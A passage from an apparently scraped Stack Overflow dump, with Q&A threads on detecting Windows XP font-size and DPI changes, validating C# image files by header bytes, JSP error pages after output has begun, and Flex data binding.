"text": "<p>Look at these values in the Registry:</p>\n\n<p>Windows XP Theme\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ThemeManager\\SizeName\nPossible values: NormalSize, LargeFonts, and ExtraLargeFonts\nThese values are <strong>language-independent</strong>.</p>\n\n<p>Windows Classic Theme\nHKCU\\Control Panel\\Appearance\\Current\nPossible values: Windows Classic, Windows Classic (large), Windows Classic (extra large), Windows Standard, Windows Standard (large), Windows Standard (extra large)\nNote that these values are <strong>language-dependent</strong>.</p>\n\n<p>Windows Vista doesn't support this feature. If we want a bigger font, simply change the DPI Setting. In that case, GetDeviceCaps should work.</p>\n\n<p>Hope this helps.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210646",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28760/"
] |
I'm trying to determine how I can detect when the user changes the Windows Font Size from Normal to Extra Large Fonts, the font size is selected by executing the following steps on a Windows XP machine:
1. Right-click on the desktop and select Properties.
2. Click on the Appearance Tab.
3. Select the Font Size: Normal/Large Fonts/Extra Large Fonts
My understanding is that the font size change results in a DPI change, so here is what I've tried so far.
---
My Goal:
--------
I want to detect when the **Windows Font Size** has changed from Normal to Large or Extra Large Fonts and take some actions based on that font size change. I assume that when the Windows Font Size changes, the DPI will also change (especially when the size is Extra Large Fonts
---
What I've tried so far:
-----------------------
I receive several messages including: WM\_SETTINGCHANGE, WM\_NCCALCSIZE, WM\_NCPAINT, etc... but none of these messages are unique to the situation when the font size changes, in other words, when I receive the WM\_SETTINGSCHANGE message I want to know what changed.
In theory when I define the OnSettingChange and Windows calls it, the lpszSection should tell me what the changing section is, and that works fine, but then I check the given section by calling SystemParametersInfo and I pass in the action SPI\_GETNONCLIENTMETRICS, and I step through the debugger and I make sure that I watch the data in the returned NONCLIENTMETRICS for any font changes, but none occur.
Even if that didn't work, I should still be able to check the DPI when the Settings change. I really wouldn't care about the other details, every time I get the WM\_SETTINGCHANGE message, I would just check the DPI and perform the actions I'm interested in performing, but I'm not able to get the system DPI either.
I have tried to get the DPI by invoking the method GetSystemMetrics, also for each DC:
Dekstop DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY
Window DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY
Current DC->GetDeviceCaps LOGPIXELSX/LOGPIXELSY
Even if I change the DPI in the Graphic Properties Window these values don't return anything different, they always show 96.
Could anybody help me figure this out please? What should I be looking for? Where should I be looking at?
```
afx_msg void CMainFrame::OnSettingChange(UINT uFlags, LPCTSTR lpszSection)
{
int windowDPI = 0;
int deviceDPI = 0;
int systemDPI = 0;
int desktopDPI = 0;
int dpi_00_X = 0;
int dpi_01_X = 0;
int dpi_02_X = 0;
int dpi_03_X = 0;
CDC* windowDC = CWnd::GetWindowDC(); // try with window DC
HDC desktop = ::GetDC(NULL); // try with desktop DC
CDC* device = CWnd::GetDC(); // try with current DC
HDC hDC = *device; // try with HDC
if( windowDC )
{
windowDPI = windowDC->GetDeviceCaps(LOGPIXELSY);
// always 96 regardless if I change the Font
// Size to Extra Large Fonts or keep it at Normal
dpi_00_X = windowDC->GetDeviceCaps(LOGPIXELSX); // 96
}
if( desktop )
{
desktopDPI = ::GetDeviceCaps(desktop, LOGPIXELSY); // 96
dpi_01_X = ::GetDeviceCaps(desktop, LOGPIXELSX); // 96
}
if( device )
{
deviceDPI = device->GetDeviceCaps(LOGPIXELSY); // 96
dpi_02_X = device->GetDeviceCaps(LOGPIXELSX); // 96
}
systemDPI = ::GetDeviceCaps(hDC, LOGPIXELSY); // 96
dpi_03_X = ::GetDeviceCaps(hDC, LOGPIXELSX); // 96
CWnd::ReleaseDC(device);
CWnd::ReleaseDC(windowDC);
::ReleaseDC(NULL, desktop);
::ReleaseDC(NULL, hDC);
CWnd::OnWinSettingChange(uFlags, lpszSection);
}
```
The DPI always returns 96, but the settings changes DO take effect when I change the font size to Extra Large Fonts or if I change the DPI to 120 (from the graphics properties).
|
[EDIT after re-read] I'm almost positive that changing to "Large fonts" does not cause a DPI change, rather it's a theme setting. You should be able to verify by applying the "Large fonts" change and then opening the advanced display properties where the DPI setting lives, it should have remained at 96dpi.
---
DPI change is supposed to require a reboot. Maybe the setting hasn't propagated to a place where GetDeviceCaps can retrieve it?
Maybe try changing a non-reboot-requiring setting (resolution perhaps) and then see if you can detect the change. If you can, your answer is probably that you can't detect DPI change until after reboot.
|
210,650 |
<p>I'm loading an image from a file, and I want to know how to validate the image before it is fully read from the file.</p>
<pre><code>string filePath = "image.jpg";
Image newImage = Image.FromFile(filePath);
</code></pre>
<p>The problem occurs when image.jpg isn't really a jpg. For example, if I create an empty text file and rename it to image.jpg, an OutOfMemory Exception will be thrown when image.jpg is loaded.</p>
<p>I'm looking for a function that will validate an image given a stream or a file path of the image.</p>
<p>Example function prototype</p>
<pre><code>bool IsValidImage(string fileName);
bool IsValidImage(Stream imageStream);
</code></pre>
|
[
{
"answer_id": 210660,
"author": "Enrico Murru",
"author_id": 68336,
"author_profile": "https://Stackoverflow.com/users/68336",
"pm_score": 0,
"selected": false,
"text": "<p>I would create a method like:</p>\n\n<pre><code>Image openImage(string filename);\n</code></pre>\n\n<p>in which I handle the exception. If the returned value is Null, there is an invalid file name / type.</p>\n"
},
{
"answer_id": 210667,
"author": "FlySwat",
"author_id": 1965,
"author_profile": "https://Stackoverflow.com/users/1965",
"pm_score": 6,
"selected": true,
"text": "<p>JPEG's don't have a formal header definition, but they do have a small amount of metadata you can use.</p>\n\n<ul>\n<li>Offset 0 (Two Bytes): JPEG SOI marker (FFD8 hex)</li>\n<li>Offset 2 (Two Bytes): Image width in pixels</li>\n<li>Offset 4 (Two Bytes): Image height in pixels</li>\n<li>Offset 6 (Byte): Number of components (1 = grayscale, 3 = RGB)</li>\n</ul>\n\n<p>There are a couple other things after that, but those aren't important.</p>\n\n<p>You can open the file using a binary stream, and read this initial data, and make sure that OffSet 0 is 0, and OffSet 6 is either 1,2 or 3.</p>\n\n<p>That would at least give you slightly more precision.</p>\n\n<p>Or you can just trap the exception and move on, but I thought you wanted a challenge :)</p>\n"
},
{
"answer_id": 210670,
"author": "Quantenmechaniker",
"author_id": 28727,
"author_profile": "https://Stackoverflow.com/users/28727",
"pm_score": 0,
"selected": false,
"text": "<p>You could read the first few bytes of the Stream and compare them to the magic header bytes for JPEG.</p>\n"
},
{
"answer_id": 210671,
"author": "MusiGenesis",
"author_id": 14606,
"author_profile": "https://Stackoverflow.com/users/14606",
"pm_score": 5,
"selected": false,
"text": "<p><strong>Using Windows Forms:</strong></p>\n\n<pre><code>bool IsValidImage(string filename)\n{\n try\n {\n using(Image newImage = Image.FromFile(filename))\n {}\n }\n catch (OutOfMemoryException ex)\n {\n //The file does not have a valid image format.\n //-or- GDI+ does not support the pixel format of the file\n\n return false;\n }\n return true;\n}\n</code></pre>\n\n<p>Otherwise if you're <strong>using WPF</strong> you can do the following:</p>\n\n<pre><code>bool IsValidImage(string filename)\n{\n try\n {\n using(BitmapImage newImage = new BitmapImage(filename))\n {}\n }\n catch(NotSupportedException)\n {\n // System.NotSupportedException:\n // No imaging component suitable to complete this operation was found.\n return false;\n }\n return true;\n}\n</code></pre>\n\n<p>You must release the image created. Otherwise when you call this function large number of times, this would throw <strong>OutOfMemoryException</strong> because the system ran out of resources, and not because the image is corrupt yielding an incorrect result, and if you delete images after this step, you'd potentially be deleting good ones.</p>\n"
},
{
"answer_id": 210677,
"author": "Troy Howard",
"author_id": 19258,
"author_profile": "https://Stackoverflow.com/users/19258",
"pm_score": 4,
"selected": false,
"text": "<p>You can do a rough typing by sniffing the header. </p>\n\n<p>This means that each file format you implement will need to have a identifiable header... </p>\n\n<p>JPEG: First 4 bytes are FF D8 FF E0 (actually just the first two bytes would do it for non jfif jpeg, more info <a href=\"http://www.obrador.com/essentialjpeg/headerinfo.htm\" rel=\"noreferrer\">here</a>).</p>\n\n<p>GIF: First 6 bytes are either \"GIF87a\" or \"GIF89a\" (more info <a href=\"http://www.onicos.com/staff/iz/formats/gif.html\" rel=\"noreferrer\">here</a>)</p>\n\n<p>PNG: First 8 bytes are: 89 50 4E 47 0D 0A 1A 0A (more info <a href=\"http://en.wikipedia.org/wiki/Portable_Network_Graphics\" rel=\"noreferrer\">here</a>)</p>\n\n<p>TIFF: First 4 bytes are: II42 or MM42 (more info <a href=\"http://en.wikipedia.org/wiki/Tagged_Image_File_Format\" rel=\"noreferrer\">here</a>)</p>\n\n<p>etc... you can find header/format information for just about any graphics format you care about and add to the things it handles as needed. What this won't do, is tell you if the file is a valid version of that type, but it will give you a hint about \"image not image?\". It could still be a corrupt or incomplete image, and thus crash when opening, so a try catch around the .FromFile call is still needed. </p>\n"
},
{
"answer_id": 211154,
"author": "SemiColon",
"author_id": 1994,
"author_profile": "https://Stackoverflow.com/users/1994",
"pm_score": 4,
"selected": false,
"text": "<p>Well, I went ahead and coded a set of functions to solve the problem. It checks the header first, then attempts to load the image in a try/catch block. It only checks for GIF, BMP, JPG, and PNG files. You can easily add more types by adding a header to imageHeaders.</p>\n\n<pre><code>static bool IsValidImage(string filePath)\n{\n return File.Exists(filePath) && IsValidImage(new FileStream(filePath, FileMode.Open, FileAccess.Read));\n}\n\nstatic bool IsValidImage(Stream imageStream)\n{\n if(imageStream.Length > 0)\n {\n byte[] header = new byte[4]; // Change size if needed.\n string[] imageHeaders = new[]{\n \"\\xFF\\xD8\", // JPEG\n \"BM\", // BMP\n \"GIF\", // GIF\n Encoding.ASCII.GetString(new byte[]{137, 80, 78, 71})}; // PNG\n\n imageStream.Read(header, 0, header.Length);\n\n bool isImageHeader = imageHeaders.Count(str => Encoding.ASCII.GetString(header).StartsWith(str)) > 0;\n if (isImageHeader == true)\n {\n try\n {\n Image.FromStream(imageStream).Dispose();\n imageStream.Close();\n return true;\n }\n\n catch\n {\n\n }\n }\n }\n\n imageStream.Close();\n return false;\n}\n</code></pre>\n"
},
{
"answer_id": 2063677,
"author": "lorddarq",
"author_id": 250672,
"author_profile": "https://Stackoverflow.com/users/250672",
"pm_score": -1,
"selected": false,
"text": "<p>in case yo need that data read for other operations and/or for other filetypes (PSD for example), later on, then using the <code>Image.FromStream</code> function is not necessarily a good ideea.</p>\n"
},
{
"answer_id": 2425028,
"author": "Paulo",
"author_id": 157693,
"author_profile": "https://Stackoverflow.com/users/157693",
"pm_score": 2,
"selected": false,
"text": "<p>A method that supports Tiff and Jpeg also</p>\n\n<pre><code>private bool IsValidImage(string filename)\n{\n Stream imageStream = null;\n try\n {\n imageStream = new FileStream(filename, FileMode.Open);\n\n if (imageStream.Length > 0)\n {\n byte[] header = new byte[30]; // Change size if needed.\n string[] imageHeaders = new[]\n {\n \"BM\", // BMP\n \"GIF\", // GIF\n Encoding.ASCII.GetString(new byte[]{137, 80, 78, 71}),// PNG\n \"MM\\x00\\x2a\", // TIFF\n \"II\\x2a\\x00\" // TIFF\n };\n\n imageStream.Read(header, 0, header.Length);\n\n bool isImageHeader = imageHeaders.Count(str => Encoding.ASCII.GetString(header).StartsWith(str)) > 0;\n if (imageStream != null)\n {\n imageStream.Close();\n imageStream.Dispose();\n imageStream = null;\n }\n\n if (isImageHeader == false)\n {\n //Verify if is jpeg\n using (BinaryReader br = new BinaryReader(File.Open(filename, FileMode.Open)))\n {\n UInt16 soi = br.ReadUInt16(); // Start of Image (SOI) marker (FFD8)\n UInt16 jfif = br.ReadUInt16(); // JFIF marker\n\n return soi == 0xd8ff && (jfif == 0xe0ff || jfif == 57855);\n }\n }\n\n return isImageHeader;\n }\n\n return false;\n }\n catch { return false; }\n finally\n {\n if (imageStream != null)\n {\n imageStream.Close();\n imageStream.Dispose();\n }\n }\n}\n</code></pre>\n"
},
{
"answer_id": 3144215,
"author": "David Boike",
"author_id": 10039,
"author_profile": "https://Stackoverflow.com/users/10039",
"pm_score": 3,
"selected": false,
"text": "<p>This should do the trick - you don't have to read raw bytes out of the header:</p>\n\n<pre><code>using(Image test = Image.FromFile(filePath))\n{\n bool isJpeg = (test.RawFormat.Equals(ImageFormat.Jpeg));\n}\n</code></pre>\n\n<p>Of course, you should trap the OutOfMemoryException too, which will save you if the file isn't an image at all.</p>\n\n<p>And, ImageFormat has pre-set items for all the other major image types that GDI+ supports.</p>\n\n<p>Note, you must use .Equals() and not == on ImageFormat objects (it is not an enumeration) because the operator == isn't overloaded to call the Equals method.</p>\n"
},
{
"answer_id": 9215864,
"author": "ray",
"author_id": 250385,
"author_profile": "https://Stackoverflow.com/users/250385",
"pm_score": 1,
"selected": false,
"text": "<p>I took Semicolon's answer and converted to VB:</p>\n\n<pre><code>Private Function IsValidImage(imageStream As System.IO.Stream) As Boolean\n\n If (imageStream.Length = 0) Then\n isvalidimage = False\n Exit Function\n End If\n\n Dim pngByte() As Byte = New Byte() {137, 80, 78, 71}\n Dim pngHeader As String = System.Text.Encoding.ASCII.GetString(pngByte)\n\n Dim jpgByte() As Byte = New Byte() {255, 216}\n Dim jpgHeader As String = System.Text.Encoding.ASCII.GetString(jpgByte)\n\n Dim bmpHeader As String = \"BM\"\n Dim gifHeader As String = \"GIF\"\n\n Dim header(3) As Byte\n\n Dim imageHeaders As String() = New String() {jpgHeader, bmpHeader, gifHeader, pngHeader}\n imageStream.Read(header, 0, header.Length)\n\n Dim isImageHeader As Boolean = imageHeaders.Count(Function(str) System.Text.Encoding.ASCII.GetString(header).StartsWith(str)) > 0\n\n If (isImageHeader) Then\n Try\n System.Drawing.Image.FromStream(imageStream).Dispose()\n imageStream.Close()\n IsValidImage = True\n Exit Function\n Catch ex As Exception\n System.Diagnostics.Debug.WriteLine(\"Not an image\")\n End Try\n Else\n System.Diagnostics.Debug.WriteLine(\"Not an image\")\n End If\n\n imageStream.Close()\n IsValidImage = False\n End Function\n</code></pre>\n"
},
{
"answer_id": 9446045,
"author": "Alex",
"author_id": 499558,
"author_profile": "https://Stackoverflow.com/users/499558",
"pm_score": 6,
"selected": false,
"text": "<p>here is my image check. I cannot rely on file extensions and have to check the format on my own.\nI am loading BitmapImages in WPF from byte arrays and don't know the format upfront. WPF detects the format fine but does not tell you the image format of BitmapImage objects (at least I am not aware of a property for this). And I don't want load the image again with System.Drawing only to detect the format. This solution is fast and works fine for me.</p>\n\n<pre><code>public enum ImageFormat\n{\n bmp,\n jpeg,\n gif,\n tiff,\n png,\n unknown\n}\n\npublic static ImageFormat GetImageFormat(byte[] bytes)\n{\n // see http://www.mikekunz.com/image_file_header.html \n var bmp = Encoding.ASCII.GetBytes(\"BM\"); // BMP\n var gif = Encoding.ASCII.GetBytes(\"GIF\"); // GIF\n var png = new byte[] { 137, 80, 78, 71 }; // PNG\n var tiff = new byte[] { 73, 73, 42 }; // TIFF\n var tiff2 = new byte[] { 77, 77, 42 }; // TIFF\n var jpeg = new byte[] { 255, 216, 255, 224 }; // jpeg\n var jpeg2 = new byte[] { 255, 216, 255, 225 }; // jpeg canon\n\n if (bmp.SequenceEqual(bytes.Take(bmp.Length)))\n return ImageFormat.bmp;\n\n if (gif.SequenceEqual(bytes.Take(gif.Length)))\n return ImageFormat.gif;\n\n if (png.SequenceEqual(bytes.Take(png.Length)))\n return ImageFormat.png;\n\n if (tiff.SequenceEqual(bytes.Take(tiff.Length)))\n return ImageFormat.tiff;\n\n if (tiff2.SequenceEqual(bytes.Take(tiff2.Length)))\n return ImageFormat.tiff;\n\n if (jpeg.SequenceEqual(bytes.Take(jpeg.Length)))\n return ImageFormat.jpeg;\n\n if (jpeg2.SequenceEqual(bytes.Take(jpeg2.Length)))\n return ImageFormat.jpeg;\n\n return ImageFormat.unknown;\n}\n</code></pre>\n"
},
{
"answer_id": 34087446,
"author": "TarmoPikaro",
"author_id": 2338477,
"author_profile": "https://Stackoverflow.com/users/2338477",
"pm_score": 2,
"selected": false,
"text": "<p>Noticed couple of problems with all functions above.\nFirst of all - Image.FromFile opens given image and afterwards will cause open file error whoever wants to open given image file for any reason. Even application itself - so I've switched using Image.FromStream.</p>\n\n<p>After you switch api - exception type changes from OutOfMemoryException to ArgumentException for some unclear for me reason. (Probably .net framework bug?)</p>\n\n<p>Also if .net will add more image file format supports than currently we will check by function - it makes sense first try to load image if only if then fails - only after that to report error.</p>\n\n<p>So my code looks now like this:</p>\n\n<pre><code>try {\n using (FileStream stream = new FileStream(path, FileMode.Open, FileAccess.Read))\n {\n Image im = Image.FromStream(stream);\n // Do something with image if needed.\n }\n}\ncatch (ArgumentException)\n{\n if( !IsValidImageFormat(path) )\n return SetLastError(\"File '\" + fileName + \"' is not a valid image\");\n\n throw;\n}\n</code></pre>\n\n<p>Where:</p>\n\n<pre><code>/// <summary>\n/// Check if we have valid Image file format.\n/// </summary>\n/// <param name=\"path\"></param>\n/// <returns>true if it's image file</returns>\npublic static bool IsValidImageFormat( String path )\n{\n using ( FileStream fs = File.OpenRead(path) )\n {\n byte[] header = new byte[10];\n fs.Read(header, 0, 10);\n\n foreach ( var pattern in new byte[][] {\n Encoding.ASCII.GetBytes(\"BM\"),\n Encoding.ASCII.GetBytes(\"GIF\"),\n new byte[] { 137, 80, 78, 71 }, // PNG\n new byte[] { 73, 73, 42 }, // TIFF\n new byte[] { 77, 77, 42 }, // TIFF\n new byte[] { 255, 216, 255, 224 }, // jpeg\n new byte[] { 255, 216, 255, 225 } // jpeg canon\n } )\n {\n if (pattern.SequenceEqual(header.Take(pattern.Length)))\n return true;\n }\n }\n\n return false;\n} //IsValidImageFormat\n</code></pre>\n"
},
{
"answer_id": 59467826,
"author": "Shadam",
"author_id": 2610693,
"author_profile": "https://Stackoverflow.com/users/2610693",
"pm_score": 3,
"selected": false,
"text": "<p>2019 here, dotnet core 3.1.\nI take the answer of <a href=\"https://stackoverflow.com/questions/210650/validate-image-from-file-in-c-sharp/9446045#9446045\">Alex</a> and actualise it a little</p>\n<pre><code>public static bool IsImage(this byte[] fileBytes)\n{\n var headers = new List<byte[]>\n {\n Encoding.ASCII.GetBytes("BM"), // BMP\n Encoding.ASCII.GetBytes("GIF"), // GIF\n new byte[] { 137, 80, 78, 71 }, // PNG\n new byte[] { 73, 73, 42 }, // TIFF\n new byte[] { 77, 77, 42 }, // TIFF\n new byte[] { 255, 216, 255, 224 }, // JPEG\n new byte[] { 255, 216, 255, 225 } // JPEG CANON\n };\n\n return headers.Any(x => x.SequenceEqual(fileBytes.Take(x.Length)));\n}\n</code></pre>\n<p>Usage :</p>\n<pre><code>public async Task UploadImage(Stream file)\n{\n using (MemoryStream ms = new MemoryStream())\n {\n await file.CopyToAsync(ms);\n\n byte[] bytes = ms.ToArray();\n\n if (!bytes.IsImage())\n throw new ArgumentException("Not an image", nameof(file));\n\n // Upload your file\n }\n}\n</code></pre>\n"
},
{
"answer_id": 60132323,
"author": "XzaR",
"author_id": 3153684,
"author_profile": "https://Stackoverflow.com/users/3153684",
"pm_score": 0,
"selected": false,
"text": "<p>Here is my approch using multiple validations.</p>\n\n<pre><code>public class ImageValidator\n{\n private readonly Dictionary<string,byte[]> _validBytes = new Dictionary<string, byte[]>() {\n { \".bmp\", new byte[] { 66, 77 } },\n { \".gif\", new byte[] { 71, 73, 70, 56 } },\n { \".ico\", new byte[] { 0, 0, 1, 0 } },\n { \".jpg\", new byte[] { 255, 216, 255 } },\n { \".png\", new byte[] { 137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82 } },\n { \".tiff\", new byte[] { 73, 73, 42, 0 } },\n };\n\n /// <summary>\n /// image formats to validate using Guids from ImageFormat.\n /// </summary>\n private readonly Dictionary<Guid, string> _validGuids = new Dictionary<Guid, string>() {\n {ImageFormat.Jpeg.Guid, \".jpg\" },\n {ImageFormat.Png.Guid, \".png\"},\n {ImageFormat.Bmp.Guid, \".bmp\"},\n {ImageFormat.Gif.Guid, \".gif\"},\n {ImageFormat.Tiff.Guid, \".tiff\"},\n {ImageFormat.Icon.Guid, \".ico\" }\n };\n\n /// <summary>\n /// Supported extensions: .jpg,.png,.bmp,.gif,.tiff,.ico\n /// </summary>\n /// <param name=\"allowedExtensions\"></param>\n public ImageValidator(string allowedExtensions = \".jpg;.png\")\n {\n var exts = allowedExtensions.Split(';');\n foreach (var pair in _validGuids.ToArray())\n {\n if (!exts.Contains(pair.Value))\n {\n _validGuids.Remove(pair.Key);\n }\n }\n\n foreach (var pair in _validBytes.ToArray())\n {\n if (!exts.Contains(pair.Key))\n {\n _validBytes.Remove(pair.Key);\n }\n }\n }\n\n [System.Diagnostics.CodeAnalysis.SuppressMessage(\"Style\", \"IDE0063:Use simple 'using' statement\", Justification = \"<Pending>\")]\n [System.Diagnostics.CodeAnalysis.SuppressMessage(\"Design\", \"CA1031:Do not catch general exception types\", Justification = \"<Pending>\")]\n public async Task<bool> IsValidAsync(Stream imageStream, string filePath)\n {\n if(imageStream == null || imageStream.Length == 0)\n {\n return false;\n }\n\n //First validate using file extension\n string ext = Path.GetExtension(filePath).ToLower();\n if(!_validGuids.ContainsValue(ext))\n {\n return false;\n }\n\n //Check mimetype by content\n if(!await IsImageBySigAsync(imageStream, ext))\n {\n return false;\n }\n\n try\n {\n //Validate file using Guid.\n using (var image = Image.FromStream(imageStream))\n {\n imageStream.Position = 0;\n var imgGuid = image.RawFormat.Guid;\n if (!_validGuids.ContainsKey(imgGuid))\n {\n return false;\n }\n\n var validExtension = _validGuids[imgGuid];\n if (validExtension != ext)\n {\n return false;\n }\n }\n }\n catch (OutOfMemoryException)\n {\n return false;\n }\n\n return true;\n }\n\n /// <summary>\n /// Validate the mimetype using byte and file extension.\n /// </summary>\n /// <param name=\"imageStream\"></param>\n /// <param name=\"extension\"></param>\n /// <returns></returns>\n private async Task<bool> IsImageBySigAsync(Stream imageStream, string extension)\n {\n var length = _validBytes.Max(x => x.Value.Length);\n byte[] imgByte = new byte[length];\n await imageStream.ReadAsync(imgByte, 0, length);\n imageStream.Position = 0;\n\n if (_validBytes.ContainsKey(extension))\n {\n var validImgByte = _validBytes[extension];\n if (imgByte.Take(validImgByte.Length).SequenceEqual(validImgByte))\n {\n return true;\n }\n }\n\n return false;\n }\n}\n</code></pre>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210650",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1994/"
] |
I'm loading an image from a file, and I want to know how to validate the image before it is fully read from the file.
```
string filePath = "image.jpg";
Image newImage = Image.FromFile(filePath);
```
The problem occurs when image.jpg isn't really a jpg. For example, if I create an empty text file and rename it to image.jpg, an OutOfMemory Exception will be thrown when image.jpg is loaded.
I'm looking for a function that will validate an image given a stream or a file path of the image.
Example function prototype
```
bool IsValidImage(string fileName);
bool IsValidImage(Stream imageStream);
```
|
JPEG's don't have a formal header definition, but they do have a small amount of metadata you can use.
* Offset 0 (Two Bytes): JPEG SOI marker (FFD8 hex)
* Offset 2 (Two Bytes): Image width in pixels
* Offset 4 (Two Bytes): Image height in pixels
* Offset 6 (Byte): Number of components (1 = grayscale, 3 = RGB)
There are a couple other things after that, but those aren't important.
You can open the file using a binary stream, and read this initial data, and make sure that OffSet 0 is 0, and OffSet 6 is either 1,2 or 3.
That would at least give you slightly more precision.
Or you can just trap the exception and move on, but I thought you wanted a challenge :)
|
210,657 |
<p>I've defined an error-page in my web.xml:</p>
<pre><code> <error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>
</error-page>
</code></pre>
<p>In that error page, I have a custom tag that I created. The tag handler for this tag e-mails me the stacktrace of whatever error occurred. For the most part this works great.</p>
<p>Where it doesn't work great is if the output has already begun being sent to the client at the time the error occurs. In that case, we get this:</p>
<pre><code>SEVERE: Exception Processing ErrorPage[exceptionType=java.lang.Exception, location=/error.jsp]
java.lang.IllegalStateException
</code></pre>
<p>I believe this error happens because we can't redirect a request to the error page after output has already started. The work-around I've used is to increase the buffer size on particularly large JSP pages. But I'm trying to write a generic error handler that I can apply to existing applications, and I'm not sure it's feasible to go through hundreds of JSP pages making sure their buffers are big enough.</p>
<p>Is there a way to still allow my stack trace e-mail code to execute in this case, even if I can't actually display the error page to the client?</p>
|
[
{
"answer_id": 210673,
"author": "Eric Wendelin",
"author_id": 25066,
"author_profile": "https://Stackoverflow.com/users/25066",
"pm_score": 1,
"selected": false,
"text": "<p>Have you tried using the <%@ page errorPage=\"/myerrorpage.jsp\" %> directive?</p>\n\n<p>You also need to use <% page isErrorPage=\"true\" $> in myerrorpage.jsp, then.</p>\n\n<p>I think that may solve your problem. The only problem with that is that you need to include it in every JSP somehow.</p>\n"
},
{
"answer_id": 1833962,
"author": "David Smiley",
"author_id": 92186,
"author_profile": "https://Stackoverflow.com/users/92186",
"pm_score": 2,
"selected": false,
"text": "<p>The errorPage isn't going to be used if you've already started sending data to the client.\nWhat I do is use a JavaScript callback to check for an incomplete page and then redirect to the error page. At the beginning of your page in an includes header or something, initialize a boolean javascript variable to false, and register an onload handler to check the state and redirect to an error page. </p>\n\n<pre><code><script type=\"text/javascript\">\n var pageLoadSuccessful = false;//set to true in footer.jsp\n dojo.addOnLoad(function(){\n if (!pageLoadSuccessful) window.location = \"<c:url value=\"/error.do\" />\";\n });\n</script>\n</code></pre>\n\n<p>Then in a footer jsp, be sure to set this variable to true:</p>\n\n<pre><code><script type=\"text/javascript\">\n pageLoadSuccessful = true;//declared in header.jsp\n</script>\n</code></pre>\n"
},
{
"answer_id": 1833992,
"author": "BalusC",
"author_id": 157882,
"author_profile": "https://Stackoverflow.com/users/157882",
"pm_score": 1,
"selected": false,
"text": "<p>In fact, this particular problem indicates that you were using scriptlets in JSP. This is a <a href=\"https://stackoverflow.com/questions/1831238/jsp-for-business-layer\"><em>bad practice</em></a> and this particular problem is one of the major reasons for that. You need to move all your business logic to a <em>real</em> java class so that you end up with only taglibs/EL in JSP. In a servlet/filter you can perfectly handle exceptions before forwarding the request to a JSP.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210657",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2527/"
] |
I've defined an error-page in my web.xml:
```
<error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>
</error-page>
```
In that error page, I have a custom tag that I created. The tag handler for this tag e-mails me the stacktrace of whatever error occurred. For the most part this works great.
Where it doesn't work great is if the output has already begun being sent to the client at the time the error occurs. In that case, we get this:
```
SEVERE: Exception Processing ErrorPage[exceptionType=java.lang.Exception, location=/error.jsp]
java.lang.IllegalStateException
```
I believe this error happens because we can't redirect a request to the error page after output has already started. The work-around I've used is to increase the buffer size on particularly large JSP pages. But I'm trying to write a generic error handler that I can apply to existing applications, and I'm not sure it's feasible to go through hundreds of JSP pages making sure their buffers are big enough.
Is there a way to still allow my stack trace e-mail code to execute in this case, even if I can't actually display the error page to the client?
|
The errorPage isn't going to be used if you've already started sending data to the client.
What I do is use a JavaScript callback to check for an incomplete page and then redirect to the error page. At the beginning of your page in an includes header or something, initialize a boolean javascript variable to false, and register an onload handler to check the state and redirect to an error page.
```
<script type="text/javascript">
var pageLoadSuccessful = false;//set to true in footer.jsp
dojo.addOnLoad(function(){
if (!pageLoadSuccessful) window.location = "<c:url value="/error.do" />";
});
</script>
```
Then in a footer jsp, be sure to set this variable to true:
```
<script type="text/javascript">
pageLoadSuccessful = true;//declared in header.jsp
</script>
```
|
210,666 |
<p>I have a CircleButton class in Actionscript.
I want to know when someone externally has changed the 'on' property.
I try listening to 'onChange' but it never hits that event handler.</p>
<p>I know I can write the 'on' property as a get/setter but I like the simplicity of just using [Bindable]</p>
<p>Can an object not listen to its own events?</p>
<pre><code>public class CircleButton extends UIComponent
{
[Bindable]
public var on:Boolean;
public function CircleButton()
{
this.width = 20;
this.height = 20;
graphics.beginFill(0xff6600, 1);
graphics.drawCircle(width/2, height/2, width/2);
graphics.endFill();
this.addEventListener(MouseEvent.ROLL_OVER, rollover);
this.addEventListener(MouseEvent.ROLL_OUT, rollout);
this.addEventListener('onChange', onOnChange);
}
private function onOnChange(event:PropertyChangeEvent):void {
</code></pre>
|
[
{
"answer_id": 210966,
"author": "Brandon",
"author_id": 23133,
"author_profile": "https://Stackoverflow.com/users/23133",
"pm_score": 1,
"selected": false,
"text": "<p>You could use BindingUtils.bindSetter()</p>\n\n<p>An example is found <a href=\"http://blog.flexexamples.com/2007/10/01/data-binding-in-flex/#more-217\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 211248,
"author": "James Fassett",
"author_id": 27081,
"author_profile": "https://Stackoverflow.com/users/27081",
"pm_score": 1,
"selected": false,
"text": "<p>Just because it is possible for something to bind to the variable, doesn't mean something is bound to the variable. It's a bit like the event system - just because something can dispatch an event doesn't mean anything is listening.</p>\n\n<p>The Classes around which the Flex binding is based are BindingUtils and ChangeWatcher. When you bind directly in MXML (which just gets converted to AS3 by the compiler) it uses these classes behind the scene to actually establish the binding. I've dug around in ChangeWatcher before and when it looks through the list of potentially bindable items it only dispatches if some object is actually listed as a listener. The whole binding system is a smart wrapper around the event system actually.</p>\n\n<p>The semantics of binding in AS3 instead of MXML are different. Subtle differences (like chaining to child properties of Objects) that just work in MXML require work in AS3 to duplicate the behaviour (probably a result of the code generation between MXML to AS3).</p>\n\n<p>Have a look at this <a href=\"http://livedocs.adobe.com/flex/201/html/wwhelp/wwhimpl/common/html/wwhelp.htm?context=LiveDocs_Book_Parts&file=databinding_091_08.html\" rel=\"nofollow noreferrer\">Adobe doc</a> for a little info on ChangeWatcher in AS code.</p>\n\n<p>Personally - I do not use binding outside of MXML since I feel it is clumsy. I would suggest you write a setter function instead since it is more predictable (and very likely performant). I also suggest you read through the source code for ChangeWatcher and BindingUtils. That is definitely some of the most advanced AS3 you are likely to read.</p>\n"
},
{
"answer_id": 212453,
"author": "Brandon",
"author_id": 23133,
